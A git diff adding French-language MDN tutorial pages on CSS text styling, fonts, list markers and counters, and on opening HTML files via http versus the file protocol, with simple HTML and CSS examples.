+      url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.ac327c4db628.woff") format('woff'),
+      url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.cd7296352d15.ttf") format('truetype'),
+      url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.f641a7d4e80f.svg#OpenSansRegular") format('svg');
+
+  /* Ici, on définit la graisse et le style de la police */
+  font-weight:normal;
+  font-style:normal;
+}
+
+/* Enfin, il suffit simplement d'ajouter la
+   police personnalisée dans la liste des valeurs
+   pour font. */
+.fancy {
+  font: 0.85rem/150% "Open Sans", Helvetica, Arial, sans-serif;
+}
+
+ +

Le résultat obtenu sera :

+ +

{{EmbedLiveSample('Les_polices_personnalisées', '100%', '320')}}

+ +

La disposition du texte

+ +

La disposition du teexte concerne les aspects liés aux sauts de ligne et à la position du texte par rapport à la ligne de base ou par rapport à son contenant.

+ + + +

De la même façon qu'avec la mise en forme du texte, la disposition du texte est concernée par quelques propriétés expérimentales, assez peu supportées par certains navigateurs ou dédiées aux langues non latines. Celles-ci permettent de résoudre plusieurs problèmes d'ordre typographique et il est donc intéressant de les connaître (sans que cela doive devenir une source de préoccupation majeure).

+ + + +

La suite

+ +

Avec tous ces éléments, vous devriez avoir un bon aperçu des outils CSS qui vous permettent de mettre en forme du texte. Nous vous encourageons à tester ces différentes propriétés et à bidouiller avec ces différents concepts pour concrétiser ces notions. Une fois à l'aise avec ces notions, n'hésitez pas à continuer avec un autre sujet : créer de belles boîtes contenant du texte.

diff --git a/files/fr/conflicting/learn/css/styling_text/fundamentals_8249b1bf53d09b06ed51f43697880b5b/index.html b/files/fr/conflicting/learn/css/styling_text/fundamentals_8249b1bf53d09b06ed51f43697880b5b/index.html new file mode 100644 index 0000000000..61bccf32f1 --- /dev/null +++ b/files/fr/conflicting/learn/css/styling_text/fundamentals_8249b1bf53d09b06ed51f43697880b5b/index.html @@ -0,0 +1,63 @@ +--- +title: Styles de texte +slug: CSS/Premiers_pas/Styles_de_texte +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/Styling_text/Fundamentals +translation_of_original: Web/Guide/CSS/Getting_started/Text_styles +--- +

 

+

Cette page vous donne plus d'exemples de styles de texte.

+

Vous modifierez votre feuille de style pour utiliser différentes polices.

+

Information : les styles de texte

+

CSS dispose de plusieurs propriétés pour les styles de texte.

+

Il existe une propriété raccourcie pratique, font, que vous pouvez utiliser pour spécifier plusieurs choses à la fois — par exemple :

+ + +
Exemple 
+p {font: italic 75%/125% "Comic Sans MS", cursive;}
+

Cette règle change plusieurs propriétés de la police, et rend tous les paragraphes en italique.

La taille du texte est définie aux trois quarts de la taille dans l'élément parent de chaque paragraphe, et la hauteur de ligne à 125% (un petit peu plus espacé qu'habituellement).

La police choisie est Comic Sans MS, mais si celle-ci n'est pas disponible le navigateur utilisera sa police cursive (écriture à la main) par défaut.

La règle a un effet de bord qui est de désactiver le gras et les petites majuscules (en les définissant à normal).
+

Polices

+

Il n'est pas possible de prédire les polices que les lecteurs de votre document auront. C'est pourquoi, lorsque vous spécifiez une police, il est utile de donner une liste d'alternatives, dans l'ordre de préférence.

+

À la fin de la liste, indiquez l'un des types de polices génériques par défaut : serif, sans-serif, cursive, fantasy ou monospace. (Celles-ci correspondent souvent à des paramètres définis dans les options de votre navigateur.)

+

Si la police ne permet pas d'afficher certaines parties du document, le navigateur peut lui substituer une autre police. Par exemple, le document peut contenir des caractères spéciaux qui ne sont pas définis dans la police. Si le navigateur arrive à trouver une autre police qui dispose de ces caractères, il utilisera celle-ci.

+

Pour spécifier une police particulière, utilisez la propriété font-face.

+

Taille de police

+

Les lecteurs utilisant des navigateurs Mozilla peuvent choisir la taille de police par défaut dans les options et changer la taille du texte pendant la lecture d'une page, il est donc recommandé d'utiliser des tailles de police relatives où c'est possible.

+

Vous pouvez utiliser certaines valeurs prédéfinies pour la taille, comme small, medium et large. Vous pouvez également utiliser des valeurs relatives à la taille de police de l'élément parent, comme ceci : smaller, larger, 150% ou 1.5.

+

Si nécessaire, vous pouvez spécifier une taille précise, comme : 12px (12 pixels) pour un dispositif d'affichage ou 12pt (12 points) pour une imprimante. Cette taille est théoriquement la largeur d'une lettre m, mais la manière dont la taille visible est liée à la taille spécifiée dépend d'une police à l'autre.

+

Pour spécifier une taille de police particulière, utilisez la propriété font-size.

+

Hauteur de ligne

+

La hauteur de ligne spécifie l'espacement entre les lignes. Si votre document dispose de longs paragraphes s'étalant sur de nombreuses lignes, un espacement plus grand que d'habitude peut le rendre plus facile à lire, particulièrement si la taille de police est petite.

+

Pour spécifier une hauteur de ligne particulière, utilisez la propriété line-height.

+

Décoration

+

La propriété séparée text-decoration permet de spécifier d'autres styles, comme underline (souligné), ou line-through (barré). Vous pouvez la définir à normal pour enlever explicitement toute décoration.

+

Autres propriétés

+

Pour spécifier l'italique, utilisez font-style: italic;
+Pour spécifier le gras, utilisez font-weight: bold;
+Pour spécifier de petites majuscules, utilisez font-variant: small-caps;

+

Pour désactiver individuellement chacune de ces propriétés, vous pouvez spécifier la valeur normal ou inherit.

+ +
Plus de détails
Vous pouvez spécifier des styles de texte de bien d'autres manières.

Par exemple, certaines des propriétés mentionnées ici disposent d'autres valeurs possibles.

Dans une feuille de style complexe, évitez d'utiliser la propriété raccourcie font, à cause de ses effets de bord (mise à zéro des autres propriétés).

Pour plus de détails sur l'ensemble des propriétés liées aux polices, consultez Fonts dans la spécification CSS. Pour plus de détails sur la décoration du texte, consultez-y la section Text.
+

Action : spécification de polices

+

Pour un document simple, vous pouvez définir la police sur l'élément BODY, et tout le reste du document en héritera.

+

Éditez votre fichier CSS. Ajoutez cette règle pour changer la police globale. Le haut du fichier CSS est un endroit logique pour ce faire, mais la règle a le même effet où qu'elle soit placée :

+
+
body {font: 16px "Comic Sans MS", cursive;}
+
+
+

Ajoutez un commentaire expliquant la règle, et des espaces pour respecter la mise en page choisie.

+

Actualisez dans votre navigateur pour en voir l'effet. Si votre système dispose de Comic Sans MS, ou d'une autre police cursive qui ne supporte pas l'italique, votre navigateur choisira une police différente pour le texte en italique à la première ligne :

+ +
Cascading Style Sheets
Cascading Style Sheets
+

Depuis la barre de menus, choisissez Affichage – Taille du texte – Plus grande. Bien que vous ayez spécifié précisément 16 pixels dans le style, un utilisateur lisant le document peut en changer la taille.

+

 

+ +
Challenge
Sans rien changer d'autre, rendez les six lettres initiales deux fois plus grandes que la taille normale dans la police serif par défaut du navigateur :
Cascading Style Sheets
Cascading Style Sheets
+

 

+

Pour continuer

+

Votre document d'exemple utilise déjà plusieurs noms de couleurs. La page suivante liste les noms des couleurs standard et explique comment en spécifier d'autres : Couleurs

+ +

{{ languages( { "en": "en/CSS/Getting_Started/Text_styles", "it": "it/Conoscere_i_CSS/Stili_del_testo", "ja": "ja/CSS/Getting_Started/Text_styles", "pl": "pl/CSS/Na_pocz\u0105tek/Style_tekstowe", "pt": "pt/CSS/Como_come\u00e7ar/Estilos_de_texto" } ) }}

diff --git a/files/fr/conflicting/learn/css/styling_text/fundamentals_9e7ba587262abbb02304cbc099c1f0d8/index.html b/files/fr/conflicting/learn/css/styling_text/fundamentals_9e7ba587262abbb02304cbc099c1f0d8/index.html new file mode 100644 index 0000000000..5a9fcb6c63 --- /dev/null +++ b/files/fr/conflicting/learn/css/styling_text/fundamentals_9e7ba587262abbb02304cbc099c1f0d8/index.html @@ -0,0 +1,270 @@ +--- +title: Mise en forme basique du texte avec CSS +slug: Apprendre/CSS/formatage_texte_CSS +tags: + - Beginner + - CSS + - CodingScripting + - Example + - Guide + - Learn + - NeedsActiveLearning +translation_of: Learn/CSS/Styling_text/Fundamentals +translation_of_original: Learn/CSS/Basic_text_styling_in_CSS +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+ +
+

Cet article explique comment mettre en forme le texte de documents {{Glossary("HTML")}} en utilisant les propriétés {{Glossary("CSS")}} les plus communes.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez être familier avec les propriétés CSS et comment les utiliser.
Objectif :Vous allez apprendre comment mettre en forme du texte en utilisant les propriétés CSS adéquates.
+ +

Depuis sa première mouture, CSS s'est spécialisé dans la mise en forme (autrement dit l'apparence) des sites web, permettant au HTML de se concentrer uniquement sur la structure du document.

+ +

Avec plus de 250 propriétés, CSS est très riche. Dans cet article, nous n'en aborderons que certaines, utilisées pour le formatage du texte :

+ + + +

Une fois que vous vous serez familiarisé avec ces propriétés, nous vous encourageons à explorer d'autres propriétés de formatage du texte telles que {{cssxref("hyphens")}}, {{cssxref("letter-spacing")}}, {{cssxref("text-indent")}}, {{cssxref("text-overflow")}}, {{cssxref("vertical-align")}}, {{cssxref("white-space")}}, {{cssxref("word-spacing")}}), les sélecteurs spécifiques ({{cssxref("::first-letter")}} ou {{cssxref("::first-line")}}), ou les unités CSS utilisées pour la taille du texte ({{cssxref("length","em","#em")}} et {{cssxref("length","rem","#rem")}}). Pour personnaliser totalement votre texte, vous pouvez également utiliser vos propres polices de caractère grâce à {{cssxref("@font-face")}}.

+ +

Pédagogie active

+ +

Il n'y a actuellement pas de contenu pour cette section. Vous pouvez néanmoins contribuer.

+ +

Aller plus loin

+ +

color

+ +

La propriété {{cssxref("color")}} modifie la couleur du texte en faisant appel à divers {{cssxref("color_value","systèmes de notation","#rgb()")}} : hexadécimal, rouge-vert-bleu (aussi appelé RGB pour red-green-blue), teinte-saturation-lumière (ou HSL pour hue-saturation-lightness). Vous pouvez aussi utiliser un {{cssxref("color_value","mot-clé désignant une couleur","#Mots-cl.C3.A9s")}}. Voici un exemple illustrant comment colorer le texte en vert.

+ +

Pour commencer, intéressons nous au fragment de code HTML suivant :

+ +
<p>Je suis un paragraphe vert.</p>
+ +

Maintenant appliquons le style ci-dessous :

+ +
p {
+  color: green;              /* C'est vert avec le mot clé "green" */
+  color: #008000;            /* C'est vert avec la notation hexadecimale */
+  color: rgb(0,128,0);       /* C'est vert avec la notation RGB */
+  color: hsl(120, 100%, 25%);/* C'est vert avec la notation HSL */
+}
+ +
+

Astuce de pro : le code précédent peut-être très utile en CSS. En effet, les navigateurs qui supportent mal la gestion de couleurs HSL, se rabattent sur le modèle RGB, puis hexadécimal, et en dernier recours aux mots-clés s'ils ne supportent aucune autre syntaxe.

+
+ +

Voici le résultat :

+ +

{{EmbedLiveSample('color','100%')}}

+ +

font-family

+ +

La propriété {{cssxref("font-family")}} est très utile pour ajouter une touche personnelle à votre site, font-family définit en effet une liste de polices dans lesquelles votre texte peut apparaître.

+ +

La valeur de cette propriété est une liste de polices séparées par des virgules. Si le navigateur ne peut pas trouver la première police de la liste, il passe alors à la suivante et l'applique au texte concerné. Si aucune police de la liste ne fonctionne, alors le navigateur utilise sa propre police par défaut. Ce peut-être serif, sans-serif ou monospace. Voici un exemple :

+ +

Pour notre prochain exemple, prenons le fragment de code HTML suivant :

+ +
<p class="serif">Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
+<p class="sansserif">Lorem ipsum dolor sit amet, consectetur adipiscing elit.</p>
+ +

Appliquons lui le style suivant :

+ +
.sansserif {
+  font-family: Helvetica, Arial, sans-serif;
+}
+
+.serif {
+  font-family: "Times New Roman", Times, serif;
+}
+
+ +

Voici le résultat :

+ +

{{EmbedLiveSample('font-family','100%')}}

+ +

font-size

+ +

La propriété {{cssxref("font-size")}} ajuste la taille du texte, en utilisant une de ces unités :

+ +
+
{{cssxref("length","px","#px")}}
+
L'unité px détermine la hauteur en pixels de votre texte.
+
{{cssxref("length","em","#em")}}
+
em spécifie la largeur de la lettre "M" avec la police utilisée. Les ems sont des unités de typographie communes, parce qu'elles permettent de définir facilement des tailles relatives par rapport à la police et taille actuelle. Ainsi, en indiquant une taille de police de 1.5em, on précise que la taille du texte devrait faire 1,5 fois la taille de la lettre "M" de l'élément parent. Si l'élément parent n'a pas de taille absolue, 1em vaut par défaut 16px.
+
{{cssxref("length","rem","#rem")}}
+
rem est beaucoup plus facile à utiliser comme unité qu'em car la taille du texte dépend de la taille initiale du texte, au lieu de dépendre de l'héritage d'un quelconque élement parent.
+
{{cssxref("length","pt","#pt")}}
+
pt est l'abréviation de point, une unité typographique très courante dans le monde de l'impression. Les navigateurs transposent les points en pixels, mais avec une certaine irrégularité, il est donc préférable d'éviter cette unité.
+
+ +

Voici une illustration de la différence entre em et rem, grâce à ce fragment de code HTML :

+ +
<div>Je mesure 1rem (par défaut)
+  <div class="rem">Je mesure 0.8rem.
+    <div class="rem">Je mesure aussi 0.8rem.
+      <div class="rem">Ici, je mesure également 0.8rem.</div>
+    </div>
+  </div>
+</div>
+
+<hr>
+
+<div>Je mesure 1em (par défaut)
+  <div class="em">Je mesure 0.8em.
+    <div class="em">Je mesure aussi 0.8em.
+      <div class="em">Ici, je mesure également 0.8em.</div>
+    </div>
+  </div>
+</div>
+ +

En utilisant le style suivant :

+ +
.rem {
+  font-size: 0.8rem;
+}
+
+.em {
+  font-size: 0.8em
+}
+
+ +

Le résultat obtenu est le suivant :

+ +

{{EmbedLiveSample('font-size','100%')}}

+ +

font-weight

+ +

La propriété {{cssxref("font-weight")}} définit l'épaisseur des caractères, généralement à l'aide des valeurs normal ou bold. Voici un exemple :

+ +
.bold {
+  font-weight: bold;
+}
+ +

font-style

+ +

La propriété {{cssxref("font-style")}} détermine si le texte doit être affiché normalement, en italique ou en oblique respectivement grâce à normal, italic, et oblique :

+ +
.italic {
+  font-style: italic;
+}
+ +

line-height

+ +

La propriété {{cssxref("line-height")}} définit la hauteur de la ligne en utilisant les mêmes unités que la propriété font-size.

+ +
.line {
+  line-height: 80%;
+}
+ +
+

Astuce de pro : Vous pouvez appliquer les propriétés {{cssxref("font-style")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, et {{cssxref("font-family")}} à l'aide d'une seule propriété « parente » : {{cssxref("font")}}

+ +

Les deux exemples suivants afficheront donc exactement la même chose :

+ +
body {
+  font: bold 1em/150% Helvetica, Arial, sans-serif;
+}
+ +
body {
+  font-weight: bold;
+  font-size  : 1em;
+  line-height: 150%;
+  font-family: Helvetica, Arial, sans-serif;
+}
+
+ +

text-transform

+ +

La propriété {{cssxref("text-transform")}} modifie la casse du texte (autrement dit, elle permet d'afficher du texte en MAJUSCULES, minuscules ou en Capitales), comme le montre cet exemple :

+ +
.transform {
+  text-transform: uppercase;
+}
+ +

text-align

+ +

La propriété {{cssxref("text-align")}} contrôle l'alignement du texte, en définissant l'alignement à gauche, à droite, ou centré ou justifié (left, right, center, ou justified) : 

+ +
.center {
+  text-align: center;
+}
+ +

text-decoration

+ +

La propriété {{cssxref("text-decoration")}} permet de faire apparaitre une ligne en dessous, au dessus, ou à travers  de votre texte. La valeur par défaut none supprime tout formatage. Voici, par exemple, comment barrer un texte en CSS :

+ +
.strike {
+  text-decoration: line-through;
+}
+ +

text-shadow

+ +

La propriété {{cssxref("text-shadow")}} fait apparaître une ou plusieurs ombres derrière le texte à l'aide de quatre paramètres : le décalage horizontal, le décalage vertical, la taille du rayon et la couleur de l'ombre portée. On peut appliquer plusieurs ombres en définissant une liste d'ombres séparées par des virgules et obtenir ainsi à des effets visuels étonnants. Voici trois exemples qui utilisent le code HTML ci-après :

+ +
<p class="simple">COUCOU</p>
+<p class="double">COUCOU</p>
+<p class="feu">COUCOU</p>
+
+ +

Si on applique maintenant ces différents styles :

+ +
p {
+  /* basic font setting */
+  font: bold 3em Impact, sans-serif;
+  text-align: center;
+  letter-spacing: 2px
+}
+
+.simple {
+  text-shadow: 2px 3px 5px rgba(0,0,0,0.3);
+}
+
+.double {
+  text-shadow: 2px 2px 0 white,
+               4px 4px 0 black;
+}
+
+.feu {
+  color: white;
+  text-shadow: 0    0   2px #fefcc9,
+               1px -1px 3px #feec85,
+              -2px -2px 4px #ffae34,
+               2px -4px 5px #ec760c,
+              -2px -6px 6px #cd4606,
+               0   -8px 7px #973716,
+               1px -9px 8px #451b0e;
+}
+
+ +

Voici le résultat final :

+ +

{{EmbedLiveSample('text-shadow','100%', 400)}}

+ +

Prochaines étapes

+ +

Vous pouvez bien sûr utiliser différentes combinaisons de ces propriétés pour parvenir au résultat visuel souhaité. Pour poursuivre votre apprentissage, vous pouvez jeter un œil à la façon d'utiliser le CSS dans une page web ou à notre tutoriel CSS.

diff --git a/files/fr/conflicting/learn/css/styling_text/styling_lists/index.html b/files/fr/conflicting/learn/css/styling_text/styling_lists/index.html new file mode 100644 index 0000000000..3b25f0218c --- /dev/null +++ b/files/fr/conflicting/learn/css/styling_text/styling_lists/index.html @@ -0,0 +1,47 @@ +--- +title: personnaliser une liste +slug: Apprendre/CSS/Comment/personnaliser_une_liste +translation_of: Learn/CSS/Styling_text/Styling_lists +translation_of_original: Learn/CSS/Howto/customize_a_list +--- +

{{draft}}

+ +

Les listes sont des structures très répandues en HTML et les CSS apportent un ensemble complet de propriétés pour leur donner l'apparence que vous voulez. Comprendre comment utiliser et modifier les styles par défaut est une compétence ordinaire dont vous aurez besoin dès que vous utiliserez les listes.

+ +

Les listes {{Glossary("HTML")}} sont des structures très simples et se trouvent sous deux formes différentes : ordonnée ou non. Elles utilisent les balises {{HTMLElement('ul')}}, {{HTMLElement('ol')}}, et {{HTMLElement('li')}}. Vous trouverez tous les détails dans notre article dédié, mais pour le reste de cet article, nous utiliserons le code HTML suivant pour appliquer les styles :

+ +
<ul>
+  <li>Je suis un élément de liste</li>
+  <li>Je suis un autre élément de liste</li>
+  <li>
+    <ul>
+      <li>Je suis un élément de liste imbriqué</li>
+      <li>Je suis un autre élément de liste imbriqué</li>
+    </ul>
+  </li>
+</ul>
+ +

Styles dédiés

+ +

Les CSS fournissent un jeu complet de propriétés pour gérer les puces :

+ + + +

En complément, les CSS permettent également d'avoir des styles de compteurs personnalisés qui vont très bien avec les listes.

+ +
+

Les styles de compteurs ne seront pas abordés dans cet article. Si vous souhaitez approfondir ce sujet, nous avons à votre disposition un article dédié.

+
+ +

Indentation de liste

+ +

Puces personnalisées

diff --git a/files/fr/conflicting/learn/css/styling_text/styling_lists_06e9538892250c13976a84639f0dadd2/index.html b/files/fr/conflicting/learn/css/styling_text/styling_lists_06e9538892250c13976a84639f0dadd2/index.html new file mode 100644 index 0000000000..fd091907fe --- /dev/null +++ b/files/fr/conflicting/learn/css/styling_text/styling_lists_06e9538892250c13976a84639f0dadd2/index.html @@ -0,0 +1,305 @@ +--- +title: Listes +slug: CSS/Premiers_pas/Listes +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/Styling_text/Styling_lists +translation_of_original: Web/Guide/CSS/Getting_started/Lists +--- +

 

+

Cette page explique comment utiliser CSS pour spécifier l'apparence des listes.

+

Vous créerez un nouveau document d'exemple contenant des listes, et une nouvelle feuille de style habillant celles-ci.

+

Information : les listes

+

Si vous avez relevé le challenge sur la page précédente (Contenu), vous avez vu comment on ajoutait du contenu devant un élément pour l'afficher comme un élément de liste.

+

Mais CSS fournit des propriétés spécialement conçues pour les listes. Il est généralement plus aisé d'utiliser ces propriétés lorsque c'est possible.

+

Pour spécifier le style d'une liste, utilisez la propriété list-style pour changer le type de marque.

+

Le sélecteur dans votre règle CSS peut soit sélectionner les éléments de la liste (par exemple example, LI), ou il peut sélectionner l'élément de liste parent (par exemple, UL) afin que les éléments héritent du style.

+

Listes non ordonnées

+

Dans une liste + + non ordonnée + , chaque élément de la liste est marqué de la même façon.

+

CSS propose trois types de marques. Voici comment votre navigateur les affiche :

+ +

Vous pouvez également spécifier l'URL d'une image.

+ + + + + + + +
+ Exemple
Ces règles spécifient différentes marques pour différentes classes d'éléments de liste : +
+ 
+li.ouvert {list-style: circle;}
+li.ferme {list-style: disc;}
+
+
+

Lorsque ces classes sont utilisées dans une liste, elle différencient les éléments ouverts et ceux qui sont fermés :

+
+ 
+<UL>
+  <LI class="ouvert">Lorem ipsum</LI>
+  <LI class="ferme">Dolor sit</LI>
+  <LI class="ferme">Amet consectetuer</LI>
+  <LI class="ouvert">Magna aliquam</LI>
+  <LI class="ferme">Autem veleum</LI>
+</UL>
+
+
+

Le résultat peut ressembler à ceci :

+ + + + + + +
+
    +
  • Lorem ipsum
    • +
  • Dolor sit
    • +
  • Amet consectetuer
    • +
  • Magna aliquam
    • +
  • Autem veleum
    • +
+
+
+

Listes ordonnées

+

Dans une liste + + ordonnée + , chaque élément de la liste est marqué différemment afin de montrer sa position dans la séquence.

+

Utilisez la propriété list-style pour spécifier le type de marque :

+ + + + + + + + +
+ Exemple
Cette règle spécifie que les éléments OL de la classe info sont identifiés par des lettres majuscules. +
+ 
+ol.info {list-style: upper-latin;}
+
+
+

Les éléments LI de la liste héritent de ce style :

+ + + + + + +
+
    +
  1. Lorem ipsum
    2. +
  2. Dolor sit
    3. +
  3. Amet consectetuer
    4. +
  4. Magna aliquam
    5. +
  5. Autem veleum
    6. +
+
+
+ + + + + + + +
+ Plus de détails
La propriété list-style est un raccourci. Dans des feuilles de style complexes, il peut être préférable d'utiliser des propriétés séparées pour régler les différentes valeurs. Pour des détails sur ces propriétés séparées, consultez Lists dans la spécification CSS. +

Si vous utilisez un langage de balisage comme HTML qui fournit des balises conventionnelles pour les listes ordonnées (OL) et non ordonnées (UL), il est préférable d'utiliser les balises de la manière prévue. Cependant, il est possible d'utiliser CSS pour que des listes UL s'affichent ordonnées et que des listes OL s'affichent non ordonnées si vous le désirez.

+

Les navigateurs n'implémentent pas tous de la même façon les styles de liste. Ne vous attendez pas à obtenir un résultat identique pour une même feuille de style dans tous les navigateurs.

+
+

Compteurs

+
+

Note :  Certains navigateurs ne gèrent pas les compteurs.

+
+

Vous pouvez utiliser les compteurs pour numéroter toutes sortes d'éléments, pas seulement des éléments de liste. Par exemple, dans certains documents, vous pouvez avoir besoin de numéroter les titres ou les paragraphes.

+

Pour spécifier la numérotation, vous avez besoin d'un + + compteur + (counter) auquel vous devrez donner un nom.

+

Dans un élément placé avant l'endroit où le comptage doit commencer, remettez le compteur à zéro à l'aide de la propriété counter-reset et le nom de votre compteur. Le parent des éléments à compter est un bon endroit pour faire cela, mais vous pouvez utiliser n'importe quel élément qui précède votre liste.

+

Dans chaque élément où le compteur doit augmenter, utilisez la propriété counter-increment et le nom de votre compteur.

+

Pour afficher votre compteur, ajoutez :before ou :after au sélecteur et utilisez la propriété content (comme vous avez fait à la page précédente, Contenu).

+

Dans la valeur de la propriété content, spécifiez counter() avec le nom de votre compteur. Optionellement, spécifiez aussi un type. Ceux-ci sont les mêmes que dans la section Listes ordonnées ci-dessus.

+

Normalement, l'élément qui affiche le compteur l'incrémente également.

+ + + + + + + +
+ Exemple
Cette règle initialise un compteur pour chaque élément H3 de la classe numerote : +
+ 
+h3.numerote {counter-reset: mynum;}
+
+
+

Cette règle affiche et incrémente le compteur pour chaque élément P de la classe numerote :

+
+ 
+p.numerote:before {
+  content: counter(mynum) " : ";
+  counter-increment: mynum;
+  font-weight: bold;}
+
+
+

Le résultat ressemble à ceci :

+ + + + + + +
Titre
+

1 : Lorem ipsum

+

2 : Dolor sit

+

3 : Amet consectetuer

+

4 : Magna aliquam

+

5 : Autem veleum

+
+
+ + + + + + + +
+ Plus de détails
Vous ne pouvez pas utiliser les compteurs s'il n'est pas certain que tous les lecteurs de votre document ont un navigateur qui permet de les afficher. +

Si cela s'avère possible, un de leurs avantages est que vous pouvez styler les compteurs d'une façon différente des éléments de liste. Dans l'exemple ci-dessus, les compteurs sont en gras mais les éléments de liste ne le sont pas.

+

Vous pouvez également utiliser les compteurs de façon plus complexe — par exemple, pour numéroter des, titres, sous-titres et paragraphes dans des documents formels. Pour plus de détails, consultez Automatic counters and numbering dans la spécification CSS.

+
+

Action : listes stylées

+

Créez un nouveau document HTML, doc2.html. Copiez et collez le contenu ci-dessous, en faisant défiler pour vous assurer de l'obtenir en entier :

+
+ 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+<HEAD>
+<TITLE>Document exemple 2</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style2.css">
+</HEAD>
+<BODY>
+
+<H3 id="oceans">Les océans</H3>
+<UL>
+<LI>Arctique</LI>
+<LI>Atlantique</LI>
+<LI>Pacifique</LI>
+<LI>Indien</LI>
+<LI>Antarctique</LI>
+</UL>
+
+<H3 class="numerote">Paragraphes numérotés</H3>
+<P class="numerote">Lorem ipsum</P>
+<P class="numerote">Dolor sit</P>
+<P class="numerote">Amet consectetuer</P>
+<P class="numerote">Magna aliquam</P>
+<P class="numerote">Autem veleum</P>
+
+</BODY>
+</HTML>
+
+
+

Créez une nouvelle feuille de style, style2.css. Copiez et collez le contenu ci-dessous :

+
+ 
/* paragraphes numérotés */
+h3.numerote {counter-reset: mynum;}
+
+p.numerote:before {
+  content: counter(mynum) " : ";
+  counter-increment: mynum;
+  font-weight: bold;}
+
+
+

Si la mise en page et les commentaires ne sont pas à votre goût, modifiez-les.

+

Ouvrez le document dans votre navigateur. Si votre navigateur gère les compteurs, vous verrez quelque chose comme ci-dessous. Sinon, vous ne verrez pas les nombres (et probablement même pas les deux points) :

+ + + + + + +
+

Les océans

+
    +
  • Arctique
    • +
  • Atlantique
    • +
  • Pacifique
    • +
  • Indien
    • +
  • Antarctique
    • +
+

Paragraphes numérotés

+

1 : Lorem ipsum

+

2 : Dolor sit

+

3 : Amet consectetuer

+

4 : Magna aliquam

+

5 : Autem veleum

+
+

 

+ + + + + + + +
+ Challenges
Ajoutez une règle à votre feuille de style pour numéroter les océans en chiffres romains de i à v : + + + + + + +
+

Les océans

+
    +
  • Arctique
    • +
  • Atlantique
    • +
  • Pacifique
    • +
  • Indien
    • +
  • Antarctique
    • +
+
+


+ Si votre navigateur gère les compteurs, modifiez votre feuille de style pour identifier les titres avec des lettres majuscules entre parenthèses comme ceci :

+ + + + + + +
+

(A) Les océans

+

. . .

+

(B) Paragraphes numérotés

+

. . .

+
+
+

 

+

Pour continuer

+

Si vous avez eu des difficultés à comprendre cette page, ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

+

Lorsque votre navigateur affiche votre document, il crée de l'espace autour des éléments lorsqu'il les dispose sur la page.

+

La page suivante explique comment utiliser CSS pour travailler sur les formes sous-jacentes aux éléments : Boîtes.

diff --git a/files/fr/conflicting/learn/getting_started_with_the_web/dealing_with_files/index.html b/files/fr/conflicting/learn/getting_started_with_the_web/dealing_with_files/index.html new file mode 100644 index 0000000000..48f1d4cd14 --- /dev/null +++ b/files/fr/conflicting/learn/getting_started_with_the_web/dealing_with_files/index.html @@ -0,0 +1,130 @@ +--- +title: Ouvrir un fichier dans un navigateur web +slug: Apprendre/Ouvrir_un_fichier_dans_un_navigateur_web +tags: + - Beginner + - CodingScripting + - NeedsActiveLearning + - WebMechanics +translation_of: Learn/Getting_started_with_the_web/Dealing_with_files +translation_of_original: Learn/Open_a_file_in_a_browser +--- +
+

Dans article, nous verrons comment ouvrir un fichier avec un navigateur web.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez au préalable avoir mis en place un environnement de travail.
Objectifs :Apprendre les différentes façons d'ouvrir un fichier, ce qu'est un protocole et comment un protocole peut affecter le résultat obtenu.
+ +

Pour ouvrir un fichier dans votre navigateur web, il existe deux méthode :

+ +
    +
  1. Le {{Glossary("protocol")}} {{Glossary("HTTP")}} : c'est-à-dire utiliser le navigateur pour accéder au fichier de votre serveur web local.
    2. +
  2. Le protocole file : celui-ci permet d'accéder directement aux fichiers de votre ordinateur via le système de fichiers (pour cela, on passe par le menu Fichier > Ouvrir un fichier…).
    3. +
+ +

Dans cet article, nous verrons les différences entre ces deux approches et pourquoi celles-ci sont importantes.

+ +

Pédagogie active

+ +

Il n'existe pas encore de matériau interactif pour cet article. N'hésitez pas à contribuer.

+ +

Aller plus loin

+ +

Un fichier d'exemple

+ +

Prenons un fichier index.html très simple qui utilise une image (nous verrons plus en détails comment utiliser des images dans les articles suivants) :

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="utf-8">
+  <title>Coucou</title>
+</head>
+<body>
+  <h1>Bonjour !</h1>
+  <p>Je suis une page web toute simple avec :</p>
+  <img src="/images/licorne.png" alt="une licorne !"/>
+</body>
+</html>
+ +

Ouvrir un fichier depuis le serveur local

+ +

Si vous placez ce fichier HTML et l'image associée sous la racine du répertoire du serveur web puis que vous ouvrez le site à l'adresse http://localhost dans votre navigateur, vous devriez obtenir un résultat semblable à celui-ci :

+ +

Example of a page load through a local web server

+ +

Maintenant, que se passe-t-il si index.html est déplacé autre part sur le serveur (ce qui arrive plus souvent qu'on le croit à première vue) mais que nos autres ressources (par exemple images) sont toujours sitées à la racine ?

+ +

Lorsqu'on fait référence au fichier image, cette référence commence par une barre oblique (/) ce qui signifie que l'URL est relative au nom de domaine. Autrement dit, pour accéder à l'image, on remonte à la racine du domaine (en l'occurence localhost) puis à partir de ce point, on suit le chemin spécifié peu importe où est située la ressource à partir de laquelle on souhaite accéder à l'image (le fichier index.html de cet exemple pourrait être placé n'importe où sur le serveur localhost).

+ +

Quel que soit le nouvel emplacement de  index.html, tant que le chemin utilisé pour l'image est /images/licorne.png, le navigateur servira http://localhost/images/licorn.png.

+ +

Par exemple, si le fichier est déplacé sous http://localhost/toto, on pourra toujours voir la licorne :

+ +

Example of a page not at the root of a local web server

+ +

Ouvrir un fichier local

+ +

Maintenant, ouvrons un fichier présent sur l'ordinateur. Il existe trois méthodes :

+ + + +

Le navigateur interprètera toujours le fichier HTML mais n'affichera pas l'image :

+ +

Example of a page open through the file protocol

+ +

Les liens absolus relatifs à un nom de domaine

+ +

